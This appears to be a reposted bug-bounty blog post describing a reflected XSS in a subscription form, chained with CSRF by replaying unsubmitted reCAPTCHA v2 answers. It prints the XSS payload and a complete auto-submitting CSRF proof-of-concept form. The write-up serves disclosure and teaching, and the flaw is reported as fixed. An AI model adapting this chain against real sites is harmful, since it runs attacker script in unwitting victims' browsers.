When I Bypassed Google CAPTCHA: The Epic Exploit of POST-based XSS + CSRF

12 hours ago 8
BOOK THIS SPACE FOR AD
ARTICLE AD

Clement 'Tino

Hi, I am Tino, and I welcome you to my blog. If this is your first time here (you’ve really missed out), I am a pentester and your AppSec guy. Years ago, during my Offsec journey, I made some blog posts about Windows Privilege Escalation and Linux Privilege Escalation. I essentially went off the grid and delved into Application Security during this period. I was hacking on a program on HackerOne and came across an interesting bug that I felt I should share.

Banner

This vulnerability happens to be an XSS that I discovered in a Subscription form on the application except, this can only be exploited via a POST request. POST-based XSS when not chained with CSRF to show impact becomes a Self XSS. That wouldn’t have been a problem except there was Google reCAPTCHAv2 implemented on this form. This post explores how I bypassed the CAPTCHA to achieve a successful CSRF.

Google reCAPTCHA v2

For anonymity's sake, let’s say the target website was https://www.target.com. When you visit target.com, there is a Sign Up and Login Form but what caught my eye was a subscribe button that takes you to https://www.target.com/subscribe. Over there you are presented with a form.

Subscription Form

Upon submitting the form, we get a thank you message with our First name (John) reflected.

Thank You message

Confirming XSS Vulnerability

We can test for reflected XSS in this field using the payload:

"><svg/onload=confirm(document.domain)>
Injecting Payload into Form

When we submit the form, the payload executes. Now we have confirmed the vulnerability exists, the problem now is, it’s in a POST and without CSRF, it becomes a Self XSS.

Payload executed

Confirming CSRF Vulnerability

CAPTCHA when not implemented robustly doesn’t protect applications from CSRF, it is mainly there to provide some form of Rate Limiting. The CAPTCHA when solved is contained in 3 dynamic parameters:captcha_sid, captcha_token and g_recaptcha_response. Dynamic in the sense that thier values change for every CAPTCHA you solve. To craft a perfect CSRF form, we need to be able to pass valid values to these parameters.

Form Submission Request

So, what if I solve a CAPTCHA in a different browser, but I don’t submit it to the server, instead I replay those answers in the CSRF Form. I opened the form page in a private tab, then filled the form. Then I solved the CAPTCHA. I turned ON the Intercept in Burpsuite and clicked on submit. With the request intercepted, I copied the CAPTCHA parameter values and inserted them into my CSRF PoC Form.

<html>
<body>
<h1>CSRF PoC</h1>
<form action="https://www.target.com/subscribe" method="POST">
<input type="hidden" name="name&#95;first" value="'><svg/onload=confirm(document.domain)>" />
<input type="hidden" name="name&#95;last" value="Doe" />
<input type="hidden" name="email&#95;address" value="test&#64;fake&#46;com" />
<input type="hidden" name="company&#95;name" value="FakeCompany" />
<input type="hidden" name="captcha&#95;sid" value="INSERT-HERE" />
<input type="hidden" name="captcha&#95;token" value="INSERT-HERE" />
<input type="hidden" name="captcha&#95;response" value="Google&#32;no&#32;captcha" />
<input type="hidden" name="g&#45;recaptcha&#45;response" value="INSERT-HERE" />
<input type="hidden" name="captcha&#95;cacheable" value="1" />
<input type="hidden" name="op" value="Submit" />
<input type="hidden" name="form&#95;build&#95;id" value="form&#45;Vwtw&#45;XX&" />
<input type="hidden" name="form&#95;id" value="XX&#95;subscribe&#95;sign&#95;up&#95;form" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

What’s left to do is to host this CSRF PoC Form for your victim to visit. Upon visiting your malicious site, they get redirected to https://www.target.com/subscribe and the subscription form is automatically submitted without any interaction from them, and the JavaScript is executed in their browser.

Form submitted via CSRF

In summary, the CAPTCHA is not tied to a user’s session so answers from different users CAPTCHA which haven’t been submitted yet can be replayed in our attack.

Submitted this finding to their security team and they triaged and fixed it immediately. That’s all for today folks, see you in the next one.

Triage team’s response

If you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

Read Entire Article